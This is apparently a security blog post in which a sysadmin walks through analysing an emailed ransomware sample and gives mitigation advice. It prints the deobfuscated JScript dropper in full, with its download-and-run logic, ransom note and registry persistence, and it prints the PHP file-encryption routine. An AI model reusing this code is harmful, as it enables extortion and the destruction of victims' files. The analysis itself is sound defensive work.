As of late I’ve been keeping fairly busy, unfortunately with not a lot that I can blog about. I’ve built a new house, planned some overseas travel for later in the year, am in the midst of planning a security conference with some of the other ISIG and OWASP blokes (more on that later) and have been incredibly excited about Battlefield 1. I could have been left for another month and probably remained quiet on the blogging front, alas someone has prompted me to break the silence.

After a recent incident I was quizzed by this someone about how I approach handling situations where defenses fail and malware does make an impact – and they suggested I make a blog post to explain this. Well, I’m feeling pretty motivated today so let’s make that happen.

Most days I receive a couple of suspect files, emails or URL’s passed my way for inspection (the thought of those that I don’t receive is what keeps me awake at night), so I’ve selected one to illustrate my basic analysis process: a pretty standard case of ransomware via email, sent to one of our helpdesk staff.

 

toolkit

analysis

Before progressing any further I should probably state that I’m not attempting to portray myself as an expert on malware analysis at all. The roles that it plays in my job are primarily incident response and advising concerned staff. I need to quickly determine:

  • The actions that malware has taken, and gather enough information about it to cease a potentially active breach, e.g. whether it can/has spread, what network path it may have taken, whether credentials are compromised, whether it can exfiltrate data, etc. What you can pull out of network and OS logs too often doesn’t give you enough to work on.
  • Whether or not a file unknown to antivirus engines is malicious or not.

So, what’s being illustrated here is simply “malware analysis for the busy sysadmin”.

The vector for delivery of this malware was, as I mentioned, email. Looking at the message:

… it should be fairly obvious that something isn’t quite right.

  • An email sent from an obscure, non FedEx .ru domain.
  • References to a package that the user didn’t order.
  • No actual FedEx branding.

Seriously, you could have at least put some effort in.

Let’s fire up Remnux, take a fresh snapshot that can be rolled back to afterwards, extract the zip file and look at the contents of the file “FedEx_ID_000328896.doc.js” that is extracted:

That’s quite clearly not the advertised document, however there are two things to consider:

  • By default .js files are associated with wscript.exe in Windows, and (providing the user accepts the message to do so) will be executed when run – just as a PowerShell script would be.
  • Also, by default, .js will be hidden as it’s a known file extension, meaning it will appear in Explorer as “FedEx_ID_000328896.doc” – seemingly OK to the average user and enough to convince them to at least open the document to inspect the contents.

Remnux offers a variety of tools intended for inspecting specific file types, e.g. text scripts, binaries and documents. As the file being analysed in this instance is clearly an obfuscated JS file, to decipher it we’ll fire up a JSDetox docker container:

sudo docker run –rm -p 3000:3000 remnux/jsdetox

JSDetox becomes accessible in the browser at localhost:3000. Copy the contents of the JS file into the analysis window:

Execute, and then view the resulting code:

However, it’s still not overly legible, so js-beautify can be used to format the script into something easier to read:

Or, for your reference:

var id = "Y5p7yaa6RhRlNRSZbVpwfw92aQUMJiVRI-CHkdaSPh-fIc5VSNhlqcy-8vGtTbTFrwS9Jl3gsMGIVkzbNdIakRVFQnkEsx_2cGn7";
var ad = "1Fys1YaEtDNjG6uNnajjgWvVmUSYixCyiG";
var bc = "0.59952";
var ld = 0;
var cq = String.fromCharCode(34);
var cs = String.fromCharCode(92);
var ll = ["futengcapital.com", "i-toren.com", "clermontcentralchurch.org", "lmapp360.com", "glamcook.com"];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
var pd = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "php4ts.dll";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".txt")) {
    for (var n = 1; n <= 5; n++) {
        for (var i = ld; i < ll.length; i++) {             var dn = 0;             try {                 xo.open("GET", "http://" + ll[i] + "/counter/?ad=" + ad + "&id=" + id + "&rnd=" + i + n, false);                 xo.send();                 if (xo.status == 200) {                     xa.open();                     xa.type = 1;                     xa.write(xo.responseBody);                     if (xa.size > 1000) {
                        dn = 1;
                        if (n <= 2) {
                            xa.saveToFile(fn + n + ".exe", 2);
                            try {
                                ws.Run(fn + n + ".exe", 1, 0);
                            } catch (er) {};
                        } else if (n == 3) {
                            xa.saveToFile(fn + ".exe", 2);
                        } else if (n == 4) {
                            xa.saveToFile(pd, 2);
                        } else if (n == 5) {
                            xa.saveToFile(fn + ".php", 2);
                        }
                    };
                    xa.close();
                };
                if (dn == 1) {
                    ld = i;
                    break;
                };
            } catch (er) {};
        };
    };
    if (fo.FileExists(fn + ".exe") && fo.FileExists(pd) && fo.FileExists(fn + ".php")) {
        xo.open("GET", "http://" + ll[ld] + "/counter/?ad=" + ad + "&id=" + id + "&st=start", false);
        xo.send();
        var fp = fo.CreateTextFile(fn + ".txt", true);
        fp.WriteLine("ATTENTION!");
        fp.WriteLine("");
        fp.WriteLine("All your documents, photos, databases and other important personal files");
        fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key.");
        fp.WriteLine("To restore your files you have to pay " + bc + " BTC (bitcoins).");
        fp.WriteLine("Please follow this manual:");
        fp.WriteLine("");
        fp.WriteLine("1. Create Bitcoin wallet here:");
        fp.WriteLine("");
        fp.WriteLine("      https://blockchain.info/wallet/new");
        fp.WriteLine("");
        fp.WriteLine("2. Buy " + bc + " BTC with cash, using search here:");
        fp.WriteLine("");
        fp.WriteLine("      https://localbitcoins.com/buy_bitcoins");
        fp.WriteLine("");
        fp.WriteLine("3. Send " + bc + " BTC to this Bitcoin address:");
        fp.WriteLine("");
        fp.WriteLine("      " + ad);
        fp.WriteLine("");
        fp.WriteLine("4. Open one of the following links in your browser to download decryptor:");
        fp.WriteLine("");
        for (var i = 0; i < ll.length; i++) {
            fp.WriteLine("      http://" + ll[i] + "/counter/?a=" + ad);
        };
        fp.WriteLine("");
        fp.WriteLine("5. Run decryptor to restore your files.");
        fp.WriteLine("");
        fp.WriteLine("PLEASE REMEMBER:");
        fp.WriteLine("");
        fp.WriteLine("      - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES.");
        fp.WriteLine("      - Nobody can help you except us.");
        fp.WriteLine("      - It`s useless to reinstall Windows, update antivirus software, etc.");
        fp.WriteLine("      - Your files can be decrypted only after you make payment.");
        fp.WriteLine("      - You can find this manual on your desktop (DECRYPT.txt).");
        fp.Close();
        ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCU" + cs + "SOFTWARE" + cs + "Microsoft" + cs + "Windows" + cs + "CurrentVersion" + cs + "Run" + cq + " /V " + cq + "Crypted" + cq + " /t REG_SZ /F /D " + cq + fn + ".txt" + cq, 0, 0);
        ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCR" + cs + ".crypted" + cq + " /ve /t REG_SZ /F /D " + cq + "Crypted" + cq, 0, 0);
        ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCR" + cs + "Crypted" + cs + "shell" + cs + "open" + cs + "command" + cq + " /ve /t REG_SZ /F /D " + cq + "notepad.exe " + cs + cq + fn + ".txt" + cs + cq + cq, 0, 0);
        ws.Run("%COMSPEC% /c copy /y " + cq + fn + ".txt" + cq + " " + cq + "%AppData%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0);
        ws.Run("%COMSPEC% /c copy /y " + cq + fn + ".txt" + cq + " " + cq + "%UserProfile%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0);
        ws.Run("%COMSPEC% /c " + fn + ".exe " + cq + fn + ".php" + cq, 0, 1);
        ws.Run("%COMSPEC% /c notepad.exe " + cq + fn + ".txt" + cq, 0, 0);
        var fp = fo.CreateTextFile(fn + ".php", true);
        for (var i = 0; i < 1000; i++) {
            fp.WriteLine(ad);
        };
        fp.Close();
        ws.Run("%COMSPEC% /c DEL " + cq + fn + ".php" + cq, 0, 0);
        ws.Run("%COMSPEC% /c DEL " + cq + fn + ".exe" + cq, 0, 0);
        ws.Run("%COMSPEC% /c DEL " + cq + pd + cq, 0, 0);
        xo.open("GET", "http://" + ll[ld] + "/counter/?ad=" + ad + "&id=" + id + "&st=done", false);
        xo.send();
    };
};

If a .doc.js extension doesn’t raise concerns on it’s own then casting an eye over the above script certainly makes it very apparent that this “delivery label” is anything but. Unfortunately, out of the 6 or so samples I’ve been forwarded from staff within our company that use this specific malware, all appear to call out to a unique set of domain names – so domain blacklisting is going to have limited effectiveness in ensuring other staff are not affected by this campaign. It remains the task of AV and NIDS to detect anomalous behavior.

To gain information about what actually happens following execution, the file is run through a Windows 7 SP1 sandbox via Cuckoo.

The new 2.0 interface of Cuckoo – particularly the Summary screen – is a huge improvement over 1.x. Firstly, there’s the Score, which in the case you make this usable by regular staff of others in operations, provides a pretty easy way to make a judgment on a file or URL without drilling down too much into the report. 12.6 out of 10 certainly makes this a suspect file.

In addition to the Score is a high level summary of findings ranked in order of severity:

Those in red obviously being the greatest indicator that the file is of a malicious nature.

More detail is available that aids in investigations, e.g. finding files, registry keys and configuration changes that may be left lying around an affected machine (which you’d likely just roll back to a previous backup/snapshot anyway):

list of spawned processes
 

Essentially, wscript.exe is used to execute the .doc.js file which forms the wrapper of operations, and three additional binaries are obtained and spawned:

  • a.exe
  • a1.exe
  • a2.exe

“a.exe” performs the encryption by loading a PHP binary that allows it to run a PHP script that is also pulled down (a.php):

set_time_limit(0);

for($i=67;$i<=90;$i++) if(@is_dir(chr($i).':')) Tree(chr($i).':');

function Tree($p)
{
 $a='e';
 $k=base64_decode('MWKTjNIYa+RdzD+y9SZXFm/IpwhpKG2yFIj8qOwwWqj2+GLMm+Ip9Cpg21DF4C58Trwq0jOU3kiySLIcc9pBetEomhCGEGa8pRJ/ovdMwRRnvBVu5U63EIgAHWCjIJkSifJbbrX8');
 $s=chr(92);

 if(preg_match('/'.$s.$s.'(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i',$p) || preg_match('/recycle/i',$p)) return;

 [email protected]($p);

 if($dp===false) return;

 while([email protected]($dp)) if($o!='.'&&$o!='..')
 {
  if (@is_dir($p.$s.$o))
  {
   Tree($p.$s.$o);
  }
  elseif ($a=='e'&&preg_match('/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i',$o) || $a=='d'&&preg_match('/[.](crypted)$/i',$o))
  {
   [email protected]($p.$s.$o,'r+');
   if ($fp!==false)
   {
    [email protected]($fp,1024);
    for($i=0;$i<strlen($x);$i++)$x[$i]=chr(ord($x[$i])^ord($k[$i%strlen($k)]));
    @fseek($fp,0);
    @fwrite($fp,$x);
    @fclose($fp);

    if($a=='e')
    {
     @rename($p.$s.$o, $p.$s.$o.'.crypted');
    }
    else
    {
     @rename($p.$s.$o, preg_replace('/[.]crypted$/', '', $p.$s.$o));
    }
   }
  }
 }

 @closedir($dp);
}

This iterates over all mounted volumes and encrypts files that match a certain criteria – ensuring not to touch system files, as it would potentially leave their victim in no position to pay.

It’s worth noting that not only was the original .doc.js file unrecognised by all AV services on VirusTotal, but all files dropped during the infection process were also unrecognised and each served a specific purpose that contributed to the overall goal of encrypting files and ensuring persistence. However, approximately 24 hours after the mail was received AV engines begun making hits. However, at this point staff begun receiving new emails that looked to have newly compiled and obfuscated binaries that were once again undetectable.

http requests
emerging threat ids rule matches (can be configured to integrate with moloch)
Unfortunately none of the domains and IP’s used by the malware have found their way into the public blocklists automatically pulled down to our proxies and firewalls – and I suspect manually entering them would have very limited effectiveness as the botnet appears to have a huge number at it’s disposal that are cycled through.

mitigation

There isn’t really any single, simple mitigation for ransomware as such – beyond investing in a high-end AV product such as Trend Deep Security or Bitdefender Gravity Zone. I’ve tested the ransomware detailed in this post against a couple of middle-tier AV products which perpetuate to have ‘anti-ransomware’ capabilities, which it turns out are… well… somewhat limited. Given how noisy the malware is, this comes as a bit of a surprise. Deep Security was effective, however.
In my opinion, beyond high-end AV (which should not be relied upon), blocking all file attachments and/or employing only the smartest of staff, your best defenses are carefully thought out backups and access controls:
  • Take backups/snapshots of all data that requires backup, at intervals appropriate to it’s level of criticality and frequency of change. Ask yourself questions like “how often do these documents change, and how much loss could the business handle?”, etc.
  • Do not allow regular users to operate with privileged accounts.
  • Isolate processes according to risk as much as possible, a la Qubes. Consider running multiple VM’s for tasks that have varying degrees of risk, e.g. a mail + internet VM and a work VM. Virtualisation provides snapshotting, allowing for quick and easy recovery.
  • Limit the use of file sharing as much as the business permits. Review business processes  that rely on file sharing and ascertain whether there are any alternatives. The last thing you’d want is a user to wipe out a mapped share.
NIDS is a valid option, but HTTPS may soon prove too much of a challenge for it to be effective. For the moment it still remains effective at detecting suspect traffic such as executables being pulled by scripts over HTTP (as seen in the screenshot above).

what not to do

  • Leave the computer connected to the network, restore your own files and then neglect the mapped shares you’ve wiped out.
  • Assume permanently connected external and/or cloud storage won’t be affected, or that ransomware encrypts immediately (e.g. run a suspect file, don’t question it and then go home).
  • Expect your infrastructure team to decrypt or otherwise recover the important documents you neglected to backup.
  • Pay the ransom and become a funder of an international criminal organisation.

One thought on “held to ransom

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s